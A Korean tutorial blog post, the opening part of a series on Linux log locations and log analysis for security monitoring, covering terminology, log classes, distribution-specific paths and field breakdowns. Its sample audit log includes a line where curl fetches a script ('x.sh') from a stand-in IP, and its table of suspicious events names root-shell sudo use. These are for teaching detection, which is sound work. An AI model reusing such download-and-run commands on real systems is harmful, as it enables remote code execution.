01. Linux 로그란 무엇인가

리눅스 시스템 기초 · 05. Linux 로그 경로 정리 — 이 영역 글의 "N편"은 제목 앞 번호(영역 내 번호)다. 전체 250편 구성은 통합 로드맵에서 확인할 수 있다.

Linux 로그 경로 정리 · 01/50 · Part 1. Linux 로그 기본 구조

선행 학습 → 기초 48. Linux 로그와 journalctl
이번 글 → Linux 로그란 무엇인가
이어서 → 02. Linux 로그가 생성되는 과정

시리즈 소개 — Linux 시스템에서 발생하는 인증·프로세스·서비스·네트워크·커널·보안 이벤트의 로그 저장 위치와 생성 구조를 이해하고, journald·rsyslog·auditd·로그 로테이션·SIEM·Wazuh를 활용하여 보안관제 관점에서 로그를 분석하는 실무형 시리즈

학습 흐름 — 01~10 기본 구조 → 11~20 Rocky/RHEL → 21~30 Ubuntu/Debian → 31~40 journald·rsyslog·auditd → 41~45 로그 관리·무결성·증거 → 46~50 SIEM·Wazuh·IOC·타임라인·침해 분석

1. 들어가며

보안관제(SOC)의 모든 판단은 "무엇이 기록되어 있는가" 에서 시작합니다. 탐지 룰도, 경보(Alert)도, 침해사고 보고서도 결국 로그라는 원천 데이터 위에 세워집니다.

기존 리눅스 시스템 기초 48편에서는 로그 파일 위치와 journalctl 사용법을 "도구" 관점에서 다뤘습니다. 이 시리즈는 한 단계 더 들어가 로그가 왜, 어디에, 어떤 구조로 남는지를 이해하고, 여러 로그를 교차검증해 공격 흐름을 재구성하는 것을 목표로 합니다.

핵심 요약

• 로그 = 이벤트가 기록된 데이터. 이벤트 자체가 아니다.
• Linux 로그는 크게 시스템 / 애플리케이션 / 보안 / 감사 4가지로 나눠 생각한다.
• SOC는 로그로 "무슨 일이 있었는지"를 증명하는 조직이다.

2. 핵심 개념

2-1. 용어를 먼저 고정한다

이 시리즈 전체에서 아래 6개 용어를 혼용하지 않습니다.

용어	정의	예
Event	시스템에서 실제로 발생한 사건	누군가 SSH 비밀번호를 틀렸다
Log	Event가 기록된 데이터	Failed password for root from 203.0.113.45 한 줄
Alert	탐지 규칙에 의해 관제 대상이 된 이벤트	"5분 내 인증 실패 10회" 룰 발동
IOC	공격과 관련된 식별 가능한 흔적	공격 IP, 악성 파일 해시, C2 도메인
Evidence	판단을 뒷받침하는 원본 증거	해시로 무결성이 확인된 원본 secure 파일
Incident	보안사고로 판정된 사건	계정 탈취 후 백도어 설치 확인

흐름으로 보면 다음과 같습니다.

Event ──기록──▶ Log ──탐지 룰──▶ Alert ──분석──▶ (IOC · Evidence) ──판정──▶ Incident

자주 하는 실수: "로그가 공격이다"라고 말하는 것. 로그는 공격의 흔적 후보일 뿐이며, 판정은 교차검증 후에 합니다.

2-2. Linux 로그의 4가지 분류

분류	무엇을 기록하나	대표 소스	SOC에서의 쓰임
시스템 로그	커널·부팅·서비스 상태	kernel, systemd, rsyslog	장애/이상 동작의 배경 확인
애플리케이션 로그	서비스 자체의 동작	Apache, Nginx, MariaDB, Postfix	웹 공격, DB 접근 흔적
보안 로그	인증·권한 변화	sshd, sudo, su, PAM	계정 탈취·권한 상승 탐지
감사 로그	커널 수준의 행위 기록	auditd (audit.log)	"누가 무엇을 실행/접근했나" 증명

3. 로그 생성 구조

위 그림처럼 로그는 발생 계층(커널·인증·서비스·애플리케이션·감사)에서 만들어져 로깅 계층(journald · rsyslog · auditd)을 거쳐 저장소(파일·저널)에 쌓이고, 마지막으로 SIEM으로 수집됩니다.

Linux Server
│
├── Kernel ─────────────┐
├── Authentication ─────┤
├── Services ───────────┼──▶ Logging Layer ──▶ Log Storage ──▶ SIEM ──▶ SOC
├── Applications ───────┤     (journald / rsyslog / auditd)
└── Security Audit ─────┘

4. 실제 로그 경로

배포판에 따라 파일명이 다릅니다. 이 시리즈는 항상 두 계열을 구분합니다.

분류	Rocky / RHEL	Ubuntu / Debian
시스템	/var/log/messages	/var/log/syslog
보안(인증)	/var/log/secure	/var/log/auth.log
감사	/var/log/audit/audit.log	/var/log/audit/audit.log (auditd 설치 시)
애플리케이션	/var/log/httpd/, /var/log/nginx/	/var/log/apache2/, /var/log/nginx/
저널	/run/log/journal/ 또는 /var/log/journal/	동일

주의: 위 경로는 기본 설정 기준입니다. rsyslog 미설치, journald 전용 구성, 설정 변경에 따라 파일이 없을 수 있습니다. (10편, 29편에서 자세히)

5. 명령어 실습

읽기 전용 명령만 사용합니다. 원본 로그를 수정하지 않습니다.

# 배포판 확인 (경로 해석의 출발점)
cat /etc/os-release | head -3

# 분류별 로그 파일 존재 여부 확인
ls -l /var/log/messages /var/log/secure /var/log/audit/audit.log 2>/dev/null   # Rocky
ls -l /var/log/syslog /var/log/auth.log 2>/dev/null                             # Ubuntu

# 저널이 몇 개의 부팅을 기억하고 있는지
journalctl --list-boots | tail -3

6. 로그 예시

위 이미지는 Rocky Linux 9.8 실습 환경에서 실제로 실행한 결과입니다. 아래는 분류를 설명하기 위한 예시 로그(형식 설명용으로 작성, 실제 시스템 출력 아님)입니다.

[예시 로그 · 시스템]   Sep 20 01:00:04 web01 systemd[1]: dnf-makecache.service: Deactivated successfully.
[예시 로그 · 보안]     Sep 20 02:14:52 web01 sshd[4101]: Accepted password for deploy from 203.0.113.45 port 51188 ssh2
[예시 로그 · 감사]     type=EXECVE msg=audit(1789838170.000:2046): argc=5 a0="curl" a1="-s" a2="http://198.51.100.23/x.sh" ...
[예시 로그 · 앱]       203.0.113.45 - - [20/Sep/2026:02:10:11 +0900] "GET /wp-login.php HTTP/1.1" 404 196

7. 로그 필드 분석

보안 로그 한 줄을 분해하면 SOC가 궁금한 질문에 그대로 대응됩니다.

필드	값	답하는 질문
timestamp	Sep 20 02:14:52	언제?
hostname	web01	어느 서버?
process[PID]	sshd[4101]	어떤 프로그램이 기록?
사용자	deploy	누가?
출발지	203.0.113.45 port 51188	어디서?
결과	Accepted password	성공/실패? 인증 방식은?

8. 보안관점

구분	정상 이벤트	의심 이벤트
인증	사내 IP에서 공개키 로그인	해외 IP에서 비밀번호 로그인, 실패 다수 후 성공
권한	운영자의 sudo systemctl status	신규 계정의 sudo /bin/bash
실행	패키지 매니저의 정기 작업	/tmp 에서 다운로드한 스크립트 실행
로그 자체	logrotate에 의한 순환	순환 주기와 무관한 로그 공백·축소

9. SOC 관점

Log 수집 ─▶ SIEM/Wazuh 정규화 ─▶ 탐지 룰 ─▶ Alert ─▶ Triage(오탐/정탐) ─▶ Investigation(교차검증) ─▶ IOC 추출 ─▶ Response

• SIEM / Wazuh: 로그를 한곳에 모아 필드를 파싱(decoder)하고 룰(rule)로 경보를 만든다. (46~47편)
• Triage: 경보 하나가 실제 공격인지 1차 판정. 이때 "원본 로그"를 반드시 다시 본다.
• Investigation: 인증 로그 → sudo → 감사 로그 → cron 순으로 서로 다른 소스를 대조한다.
• Detection 개선: 놓친 이벤트가 있으면 로그 수집 범위(auditd 룰 등)를 보완한다.

10. 실습 체크리스트

[ ] /etc/os-release 로 배포판 확인
[ ] 4가지 분류별 대표 로그 파일 존재 여부 확인
[ ] Event / Log / Alert / IOC / Evidence / Incident 구분 설명 가능
[ ] 보안 로그 한 줄을 6개 필드로 분해
[ ] 정상/의심 이벤트 예시를 2개 이상 말할 수 있음
[ ] 로그 → Alert → Incident 흐름 설명 가능

11. 핵심 정리

• 로그는 Event의 기록이며, Alert·Incident와 구분해서 말한다.
• Linux 로그는 시스템 / 애플리케이션 / 보안 / 감사로 나눠 보면 소스를 빠뜨리지 않는다.
• 같은 목적의 로그라도 Rocky(secure)와 Ubuntu(auth.log)의 파일명이 다르다.
• 로그 파일의 존재는 설정의 결과다. "없다"는 사실도 분석 대상이다.
• SOC 분석은 한 로그가 아니라 여러 로그의 교차검증으로 결론을 낸다.
• 원본 로그는 읽기만 하고, 분석은 사본으로 한다. (45편)

12. 다음 편 연결

구분	글
▶ 다음 글	02. Linux 로그가 생성되는 과정
시리즈	Linux 로그 경로 정리 전체 보기
선행 시리즈	리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 · Linux 시스템 보안 기초